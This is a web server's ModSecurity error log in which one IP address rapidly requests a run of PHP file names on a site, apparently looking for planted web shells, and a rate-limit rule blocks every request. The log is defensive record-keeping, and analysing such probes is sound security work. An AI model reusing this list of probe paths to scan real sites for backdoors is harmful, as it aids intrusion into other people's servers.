[Wed Jan 07 00:16:49.059026 2026] [:error] [pid 44905:tid 44989] [client 20.196.88.169:30001] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lx.php"] [unique_id "aV01cbu7ufwWVst9EAshKAAAAJU"]
[Wed Jan 07 00:16:49.334146 2026] [:error] [pid 44903:tid 44930] [client 20.196.88.169:3757] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lx.php"] [unique_id "aV01cdhHqjs38zbkQPBRUwAAABY"]
[Wed Jan 07 00:16:49.605912 2026] [:error] [pid 35140:tid 35146] [client 20.196.88.169:31045] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aV01cXoQaIDFMbT-XMwIvgAAAQQ"]
[Wed Jan 07 00:16:49.876830 2026] [:error] [pid 45959:tid 45980] [client 20.196.88.169:29990] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aV01cVajdn8P3hjgMYwybgAAAVI"]
[Wed Jan 07 00:16:50.149924 2026] [:error] [pid 35140:tid 35159] [client 20.196.88.169:3480] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aV01cnoQaIDFMbT-XMwIwAAAARE"]
[Wed Jan 07 00:16:50.419621 2026] [:error] [pid 45012:tid 45038] [client 20.196.88.169:17575] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aV01chaMAxCuju1d0uZB0AAAANg"]
[Wed Jan 07 00:16:50.691559 2026] [:error] [pid 44904:tid 44955] [client 20.196.88.169:31046] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mcd.php"] [unique_id "aV01cjtieuI1BJEZcvdq2AAAAE4"]
[Wed Jan 07 00:16:50.960478 2026] [:error] [pid 45959:tid 45979] [client 20.196.88.169:17599] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mcd.php"] [unique_id "aV01clajdn8P3hjgMYwycQAAAVE"]
[Wed Jan 07 00:16:51.230687 2026] [:error] [pid 45959:tid 45982] [client 20.196.88.169:17549] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mcd.php"] [unique_id "aV01c1ajdn8P3hjgMYwycwAAAVQ"]
[Wed Jan 07 00:16:51.523956 2026] [:error] [pid 45959:tid 45967] [client 20.196.88.169:19050] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mcd.php"] [unique_id "aV01c1ajdn8P3hjgMYwydAAAAUU"]
[Wed Jan 07 00:16:51.792953 2026] [:error] [pid 44905:tid 44985] [client 20.196.88.169:19040] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Zeiss.php"] [unique_id "aV01c7u7ufwWVst9EAshLAAAAJE"]
[Wed Jan 07 00:16:52.068467 2026] [:error] [pid 45012:tid 45022] [client 20.196.88.169:33501] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Zeiss.php"] [unique_id "aV01dBaMAxCuju1d0uZB1QAAAMg"]
[Wed Jan 07 00:16:52.337387 2026] [:error] [pid 44903:tid 44917] [client 20.196.88.169:19024] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Zeiss.php"] [unique_id "aV01dNhHqjs38zbkQPBRWwAAAAo"]
[Wed Jan 07 00:16:52.606474 2026] [:error] [pid 44903:tid 44923] [client 20.196.88.169:3674] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Zeiss.php"] [unique_id "aV01dNhHqjs38zbkQPBRXAAAABA"]
[Wed Jan 07 00:16:52.876638 2026] [:error] [pid 35140:tid 35155] [client 20.196.88.169:31068] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aV01dHoQaIDFMbT-XMwIwgAAAQ0"]
[Wed Jan 07 00:16:53.148565 2026] [:error] [pid 44905:tid 44968] [client 20.196.88.169:15963] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aV01dbu7ufwWVst9EAshMQAAAIA"]
[Wed Jan 07 00:16:53.418137 2026] [:error] [pid 45959:tid 45975] [client 20.196.88.169:3669] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aV01dVajdn8P3hjgMYwygAAAAU0"]
[Wed Jan 07 00:16:53.694183 2026] [:error] [pid 44904:tid 44957] [client 20.196.88.169:31098] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aV01dTtieuI1BJEZcvdq7AAAAFA"]
[Wed Jan 07 00:16:53.963237 2026] [:error] [pid 45959:tid 45985] [client 20.196.88.169:19035] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aV01dVajdn8P3hjgMYwyhAAAAVc"]
[Wed Jan 07 00:16:54.240867 2026] [:error] [pid 45959:tid 45964] [client 20.196.88.169:15958] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aV01dlajdn8P3hjgMYwyiAAAAUI"]
[Wed Jan 07 00:16:54.510717 2026] [:error] [pid 45959:tid 45967] [client 20.196.88.169:3658] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aV01dlajdn8P3hjgMYwyigAAAUU"]
[Wed Jan 07 00:16:54.781330 2026] [:error] [pid 44905:tid 44971] [client 20.196.88.169:31080] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aV01dru7ufwWVst9EAshNwAAAIM"]
[Wed Jan 07 00:16:55.052621 2026] [:error] [pid 44905:tid 44975] [client 20.196.88.169:15992] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/EM.php"] [unique_id "aV01d7u7ufwWVst9EAshOgAAAIc"]
[Wed Jan 07 00:16:55.333179 2026] [:error] [pid 44905:tid 44985] [client 20.196.88.169:8332] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/EM.php"] [unique_id "aV01d7u7ufwWVst9EAshOwAAAJE"]
[Wed Jan 07 00:16:55.602157 2026] [:error] [pid 44905:tid 44987] [client 20.196.88.169:15991] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/EM.php"] [unique_id "aV01d7u7ufwWVst9EAshPAAAAJM"]
[Wed Jan 07 00:16:55.872341 2026] [:error] [pid 44905:tid 44979] [client 20.196.88.169:27117] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/EM.php"] [unique_id "aV01d7u7ufwWVst9EAshPgAAAIs"]
[Wed Jan 07 00:16:56.140337 2026] [:error] [pid 44903:tid 44926] [client 20.196.88.169:31063] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aV01eNhHqjs38zbkQPBRXwAAABM"]
[Wed Jan 07 00:16:56.410511 2026] [:error] [pid 44905:tid 44989] [client 20.196.88.169:15980] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aV01eLu7ufwWVst9EAshQgAAAJU"]
[Wed Jan 07 00:16:56.684633 2026] [:error] [pid 45959:tid 45979] [client 20.196.88.169:25411] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aV01eFajdn8P3hjgMYwymgAAAVE"]
[Wed Jan 07 00:16:56.966355 2026] [:error] [pid 44904:tid 44949] [client 20.196.88.169:24143] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aV01eDtieuI1BJEZcvdq-gAAAEg"]
[Wed Jan 07 00:16:57.241400 2026] [:error] [pid 44904:tid 44959] [client 20.196.88.169:24162] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kcs.php"] [unique_id "aV01eTtieuI1BJEZcvdq_AAAAFI"]
[Wed Jan 07 00:16:57.510860 2026] [:error] [pid 45959:tid 45982] [client 20.196.88.169:15968] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kcs.php"] [unique_id "aV01eVajdn8P3hjgMYwynwAAAVQ"]
[Wed Jan 07 00:16:57.781465 2026] [:error] [pid 44904:tid 44943] [client 20.196.88.169:15982] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kcs.php"] [unique_id "aV01eTtieuI1BJEZcvdq_QAAAEI"]
[Wed Jan 07 00:16:58.052318 2026] [:error] [pid 44904:tid 44945] [client 20.196.88.169:15999] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kcs.php"] [unique_id "aV01ejtieuI1BJEZcvdq_wAAAEQ"]
[Wed Jan 07 00:16:58.322014 2026] [:error] [pid 44905:tid 44987] [client 20.196.88.169:27854] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fh26.php"] [unique_id "aV01eru7ufwWVst9EAshSgAAAJM"]
[Wed Jan 07 00:16:58.592575 2026] [:error] [pid 44904:tid 44953] [client 20.196.88.169:13818] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fh26.php"] [unique_id "aV01ejtieuI1BJEZcvdrAQAAAEw"]
[Wed Jan 07 00:16:58.865372 2026] [:error] [pid 44905:tid 44979] [client 20.196.88.169:24180] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fh26.php"] [unique_id "aV01eru7ufwWVst9EAshSwAAAIs"]
[Wed Jan 07 00:16:59.135269 2026] [:error] [pid 45959:tid 45963] [client 20.196.88.169:3857] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fh26.php"] [unique_id "aV01e1ajdn8P3hjgMYwyqAAAAUE"]
[Wed Jan 07 00:16:59.405836 2026] [:error] [pid 44904:tid 44955] [client 20.196.88.169:8380] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hq.php"] [unique_id "aV01eztieuI1BJEZcvdrAwAAAE4"]
[Wed Jan 07 00:16:59.675470 2026] [:error] [pid 45959:tid 45979] [client 20.196.88.169:30448] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hq.php"] [unique_id "aV01e1ajdn8P3hjgMYwyqwAAAVE"]
[Wed Jan 07 00:16:59.945999 2026] [:error] [pid 44905:tid 44992] [client 20.196.88.169:24147] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hq.php"] [unique_id "aV01e7u7ufwWVst9EAshTgAAAJg"]
[Wed Jan 07 00:17:00.227003 2026] [:error] [pid 44904:tid 44963] [client 20.196.88.169:3845] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hq.php"] [unique_id "aV01fDtieuI1BJEZcvdrBgAAAFY"]
[Wed Jan 07 00:17:00.497737 2026] [:error] [pid 44903:tid 44914] [client 20.196.88.169:17077] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gzone.php"] [unique_id "aV01fNhHqjs38zbkQPBRYQAAAAc"]
[Wed Jan 07 00:17:00.767843 2026] [:error] [pid 45959:tid 45967] [client 20.196.88.169:24988] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gzone.php"] [unique_id "aV01fFajdn8P3hjgMYwyrwAAAUU"]
[Wed Jan 07 00:17:01.057194 2026] [:error] [pid 44903:tid 44913] [client 20.196.88.169:27895] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gzone.php"] [unique_id "aV01fdhHqjs38zbkQPBRZQAAAAY"]
[Wed Jan 07 00:17:01.327062 2026] [:error] [pid 35140:tid 35149] [client 20.196.88.169:30165] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-gzone.php"] [unique_id "aV01fXoQaIDFMbT-XMwIxwAAAQc"]
[Wed Jan 07 00:17:01.596963 2026] [:error] [pid 44903:tid 44909] [client 20.196.88.169:29538] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f2r4.php"] [unique_id "aV01fdhHqjs38zbkQPBRZgAAAAI"]
[Wed Jan 07 00:17:01.866797 2026] [:error] [pid 45959:tid 45973] [client 20.196.88.169:30148] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f2r4.php"] [unique_id "aV01fVajdn8P3hjgMYwysAAAAUs"]
[Wed Jan 07 00:17:02.137774 2026] [:error] [pid 44905:tid 44985] [client 20.196.88.169:3987] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f2r4.php"] [unique_id "aV01fru7ufwWVst9EAshUAAAAJE"]
[Wed Jan 07 00:17:02.408056 2026] [:error] [pid 44903:tid 44920] [client 20.196.88.169:29530] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f2r4.php"] [unique_id "aV01fthHqjs38zbkQPBRaAAAAA0"]
[Wed Jan 07 00:17:02.680184 2026] [:error] [pid 44903:tid 44918] [client 20.196.88.169:5411] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cafe.php"] [unique_id "aV01fthHqjs38zbkQPBRagAAAAs"]
[Wed Jan 07 00:17:02.949724 2026] [:error] [pid 45012:tid 45026] [client 20.196.88.169:14162] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cafe.php"] [unique_id "aV01fhaMAxCuju1d0uZB4gAAAMw"]
[Wed Jan 07 00:17:03.223616 2026] [:error] [pid 45959:tid 45977] [client 20.196.88.169:14196] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cafe.php"] [unique_id "aV01f1ajdn8P3hjgMYwysgAAAU8"]
[Wed Jan 07 00:17:03.492951 2026] [:error] [pid 45012:tid 45028] [client 20.196.88.169:28892] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cafe.php"] [unique_id "aV01fxaMAxCuju1d0uZB5QAAAM4"]
[Wed Jan 07 00:17:03.762511 2026] [:error] [pid 35140:tid 35161] [client 20.196.88.169:30842] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aV01f3oQaIDFMbT-XMwIzAAAARM"]
[Wed Jan 07 00:17:04.031419 2026] [:error] [pid 44905:tid 44983] [client 20.196.88.169:3081] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aV01gLu7ufwWVst9EAshUwAAAI8"]
[Wed Jan 07 00:17:04.302570 2026] [:error] [pid 45959:tid 45972] [client 20.196.88.169:3110] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aV01gFajdn8P3hjgMYwytQAAAUo"]
